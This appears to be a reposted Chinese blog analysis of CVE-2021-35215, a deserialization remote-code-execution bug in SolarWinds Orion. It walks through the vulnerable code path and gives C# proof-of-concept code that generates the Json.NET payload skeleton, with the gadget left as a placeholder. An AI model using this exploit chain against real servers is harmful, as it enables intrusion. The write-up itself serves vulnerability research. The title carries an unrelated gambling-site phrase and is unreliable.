cve-ag真人国际厅网站

原文分析:

原文讲的很清楚了,我这里大概记一下。看懂可能需要一些dotnet反序列化的基础知识,移步

c:\inetpub\solarwinds\orion\rendercontrol.aspx.cs oninit()中加载控件,其中ctrl变量从请求中获取,可控。

controltorender = loadcontrol(ctrl);之后将controltorender传递给applypropertiesandattributes()

方法签名要求controltorender是一个system.web.ui.control类型的控件。

然后346-352行是从jsondata中获取赋值给控件实例字段的名称和值,通过propertysetter.setproperties()进行反射赋值。jsondata是init的时候通过javascriptserializer从http请求中反序列化回来的dictionary键值对,可控。

那么现在我们可以调用控件类的setter,所以找控件类。

然后找到了solarwinds.orion.web.actions.actionpluginbaseview这个类

它这个setter调用了parseviewcontext(),跟进发现用了json.net的typenamehandling.objects

并且jsonconvert.deserializeobject(this.viewcontextjsonstring, settings);中,alertingactioncontext这个类继承actioncontextbase类。

该类有个macrocontext类型的字段,而macrocontext类型里有个字段是contextbase类型的list。

contextbase是一个抽象类。

根据其knowntype知道可以往list中放swisentitycontext类型的对象,而swisentitycontext类中有一个字段是propertybag类型

该字段可以存放object类型的对象

所以我们的gadget可以放在这里,造成rce。

github:

代码参考

using system; using system.collections.generic; using system.io; using newtonsoft.json; using solarwinds.informationservice.contract2; using solarwinds.orion.core.models.actions.contexts; using solarwinds.orion.core.models.macroparsing; namespace consoleapp1 { class program { static void main(string[] args) { var alertingactioncontext = new alertingactioncontext(); var macrocontext = new macrocontext(); var swisentitycontext = new swisentitycontext(); var dictionary = new dictionary<string, object>(); dictionary["1"] = new object(); // replace here with sessionsecuritytoken gadget var propertybag = new propertybag(dictionary); swisentitycontext.entityproperties = propertybag; macrocontext.add(swisentitycontext); alertingactioncontext.macrocontext = macrocontext; jsonserializersettings settings = new jsonserializersettings { typenamehandling = typenamehandling.objects }; var serializeobject = jsonconvert.serializeobject(alertingactioncontext, settings); console.writeline(serializeobject); var streamwriter = new streamwriter(@"c:\users\admin\desktop\my\code\netcore\consoleapp1\consoleapp1\poc.json"); // serializeobject = serializeobject.replace("\"", "\\\""); streamwriter.write(serializeobject); streamwriter.close(); } } } 

原文链接:https://xz.aliyun.com/t/10413

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/cve-2021-35215-solarwinds-orion-platform-actionpluginbaseview-rce/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图